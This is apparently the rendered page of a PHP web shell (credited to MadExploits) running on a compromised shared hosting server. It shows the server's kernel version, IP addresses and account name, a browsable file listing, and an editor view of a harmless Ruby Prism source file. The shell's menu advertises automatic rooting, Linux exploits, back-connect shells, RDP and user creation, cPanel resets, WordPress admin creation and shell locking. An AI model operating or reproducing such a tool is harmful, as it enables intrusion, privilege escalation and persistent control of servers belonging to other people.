Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby34 /
share /
ruby /
prism /
[ HOME SHELL ]
Name
Size
Permission
Action
parse_result
[ DIR ]
drwxr-xr-x
polyfill
[ DIR ]
drwxr-xr-x
translation
[ DIR ]
drwxr-xr-x
compiler.rb
23.76
KB
-rw-r--r--
desugar_compiler.rb
9.89
KB
-rw-r--r--
dispatcher.rb
111.71
KB
-rw-r--r--
dsl.rb
56.77
KB
-rw-r--r--
ffi.rb
19.42
KB
-rw-r--r--
inspect_visitor.rb
124.61
KB
-rw-r--r--
lex_compat.rb
32.44
KB
-rw-r--r--
mutation_compiler.rb
21.1
KB
-rw-r--r--
node.rb
588.89
KB
-rw-r--r--
node_ext.rb
14.97
KB
-rw-r--r--
pack.rb
5.88
KB
-rw-r--r--
parse_result.rb
29.38
KB
-rw-r--r--
pattern.rb
8.16
KB
-rw-r--r--
reflection.rb
28.82
KB
-rw-r--r--
relocation.rb
15.12
KB
-rw-r--r--
serialize.rb
124.59
KB
-rw-r--r--
string_query.rb
775
B
-rw-r--r--
translation.rb
586
B
-rw-r--r--
visitor.rb
24.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : desugar_compiler.rb
# frozen_string_literal: true # :markup: markdown module Prism class DesugarAndWriteNode # :nodoc: include DSL attr_reader :node, :default_source, :read_class, :write_class, :arguments def initialize(node, default_source, read_class, write_class, **arguments) @node = node @default_source = default_source @read_class = read_class @write_class = write_class @arguments = arguments end # Desugar `x &&= y` to `x && x = y` def compile and_node( location: node.location, left: public_send(read_class, location: node.name_loc, **arguments), right: public_send( write_class, location: node.location, **arguments, name_loc: node.name_loc, value: node.value, operator_loc: node.operator_loc ), operator_loc: node.operator_loc ) end end class DesugarOrWriteDefinedNode # :nodoc: include DSL attr_reader :node, :default_source, :read_class, :write_class, :arguments def initialize(node, default_source, read_class, write_class, **arguments) @node = node @default_source = default_source @read_class = read_class @write_class = write_class @arguments = arguments end # Desugar `x ||= y` to `defined?(x) ? x : x = y` def compile if_node( location: node.location, if_keyword_loc: node.operator_loc, predicate: defined_node( location: node.name_loc, value: public_send(read_class, location: node.name_loc, **arguments), keyword_loc: node.operator_loc ), then_keyword_loc: node.operator_loc, statements: statements_node( location: node.location, body: [public_send(read_class, location: node.name_loc, **arguments)] ), subsequent: else_node( location: node.location, else_keyword_loc: node.operator_loc, statements: statements_node( location: node.location, body: [ public_send( write_class, location: node.location, **arguments, name_loc: node.name_loc, value: node.value, operator_loc: node.operator_loc ) ] ), end_keyword_loc: node.operator_loc ), end_keyword_loc: node.operator_loc ) end end class DesugarOperatorWriteNode # :nodoc: include DSL attr_reader :node, :default_source, :read_class, :write_class, :arguments def initialize(node, default_source, read_class, write_class, **arguments) @node = node @default_source = default_source @read_class = read_class @write_class = write_class @arguments = arguments end # Desugar `x += y` to `x = x + y` def compile binary_operator_loc = node.binary_operator_loc.chop public_send( write_class, location: node.location, **arguments, name_loc: node.name_loc, value: call_node( location: node.location, receiver: public_send( read_class, location: node.name_loc, **arguments ), name: binary_operator_loc.slice.to_sym, message_loc: binary_operator_loc, arguments: arguments_node( location: node.value.location, arguments: [node.value] ) ), operator_loc: node.binary_operator_loc.copy( start_offset: node.binary_operator_loc.end_offset - 1, length: 1 ) ) end end class DesugarOrWriteNode # :nodoc: include DSL attr_reader :node, :default_source, :read_class, :write_class, :arguments def initialize(node, default_source, read_class, write_class, **arguments) @node = node @default_source = default_source @read_class = read_class @write_class = write_class @arguments = arguments end # Desugar `x ||= y` to `x || x = y` def compile or_node( location: node.location, left: public_send(read_class, location: node.name_loc, **arguments), right: public_send( write_class, location: node.location, **arguments, name_loc: node.name_loc, value: node.value, operator_loc: node.operator_loc ), operator_loc: node.operator_loc ) end end private_constant :DesugarAndWriteNode, :DesugarOrWriteNode, :DesugarOrWriteDefinedNode, :DesugarOperatorWriteNode class ClassVariableAndWriteNode def desugar # :nodoc: DesugarAndWriteNode.new(self, source, :class_variable_read_node, :class_variable_write_node, name: name).compile end end class ClassVariableOrWriteNode def desugar # :nodoc: DesugarOrWriteDefinedNode.new(self, source, :class_variable_read_node, :class_variable_write_node, name: name).compile end end class ClassVariableOperatorWriteNode def desugar # :nodoc: DesugarOperatorWriteNode.new(self, source, :class_variable_read_node, :class_variable_write_node, name: name).compile end end class ConstantAndWriteNode def desugar # :nodoc: DesugarAndWriteNode.new(self, source, :constant_read_node, :constant_write_node, name: name).compile end end class ConstantOrWriteNode def desugar # :nodoc: DesugarOrWriteDefinedNode.new(self, source, :constant_read_node, :constant_write_node, name: name).compile end end class ConstantOperatorWriteNode def desugar # :nodoc: DesugarOperatorWriteNode.new(self, source, :constant_read_node, :constant_write_node, name: name).compile end end class GlobalVariableAndWriteNode def desugar # :nodoc: DesugarAndWriteNode.new(self, source, :global_variable_read_node, :global_variable_write_node, name: name).compile end end class GlobalVariableOrWriteNode def desugar # :nodoc: DesugarOrWriteDefinedNode.new(self, source, :global_variable_read_node, :global_variable_write_node, name: name).compile end end class GlobalVariableOperatorWriteNode def desugar # :nodoc: DesugarOperatorWriteNode.new(self, source, :global_variable_read_node, :global_variable_write_node, name: name).compile end end class InstanceVariableAndWriteNode def desugar # :nodoc: DesugarAndWriteNode.new(self, source, :instance_variable_read_node, :instance_variable_write_node, name: name).compile end end class InstanceVariableOrWriteNode def desugar # :nodoc: DesugarOrWriteNode.new(self, source, :instance_variable_read_node, :instance_variable_write_node, name: name).compile end end class InstanceVariableOperatorWriteNode def desugar # :nodoc: DesugarOperatorWriteNode.new(self, source, :instance_variable_read_node, :instance_variable_write_node, name: name).compile end end class LocalVariableAndWriteNode def desugar # :nodoc: DesugarAndWriteNode.new(self, source, :local_variable_read_node, :local_variable_write_node, name: name, depth: depth).compile end end class LocalVariableOrWriteNode def desugar # :nodoc: DesugarOrWriteNode.new(self, source, :local_variable_read_node, :local_variable_write_node, name: name, depth: depth).compile end end class LocalVariableOperatorWriteNode def desugar # :nodoc: DesugarOperatorWriteNode.new(self, source, :local_variable_read_node, :local_variable_write_node, name: name, depth: depth).compile end end # DesugarCompiler is a compiler that desugars Ruby code into a more primitive # form. This is useful for consumers that want to deal with fewer node types. class DesugarCompiler < MutationCompiler # @@foo &&= bar # # becomes # # @@foo && @@foo = bar def visit_class_variable_and_write_node(node) node.desugar end # @@foo ||= bar # # becomes # # defined?(@@foo) ? @@foo : @@foo = bar def visit_class_variable_or_write_node(node) node.desugar end # @@foo += bar # # becomes # # @@foo = @@foo + bar def visit_class_variable_operator_write_node(node) node.desugar end # Foo &&= bar # # becomes # # Foo && Foo = bar def visit_constant_and_write_node(node) node.desugar end # Foo ||= bar # # becomes # # defined?(Foo) ? Foo : Foo = bar def visit_constant_or_write_node(node) node.desugar end # Foo += bar # # becomes # # Foo = Foo + bar def visit_constant_operator_write_node(node) node.desugar end # $foo &&= bar # # becomes # # $foo && $foo = bar def visit_global_variable_and_write_node(node) node.desugar end # $foo ||= bar # # becomes # # defined?($foo) ? $foo : $foo = bar def visit_global_variable_or_write_node(node) node.desugar end # $foo += bar # # becomes # # $foo = $foo + bar def visit_global_variable_operator_write_node(node) node.desugar end # @foo &&= bar # # becomes # # @foo && @foo = bar def visit_instance_variable_and_write_node(node) node.desugar end # @foo ||= bar # # becomes # # @foo || @foo = bar def visit_instance_variable_or_write_node(node) node.desugar end # @foo += bar # # becomes # # @foo = @foo + bar def visit_instance_variable_operator_write_node(node) node.desugar end # foo &&= bar # # becomes # # foo && foo = bar def visit_local_variable_and_write_node(node) node.desugar end # foo ||= bar # # becomes # # foo || foo = bar def visit_local_variable_or_write_node(node) node.desugar end # foo += bar # # becomes # # foo = foo + bar def visit_local_variable_operator_write_node(node) node.desugar end end end
Close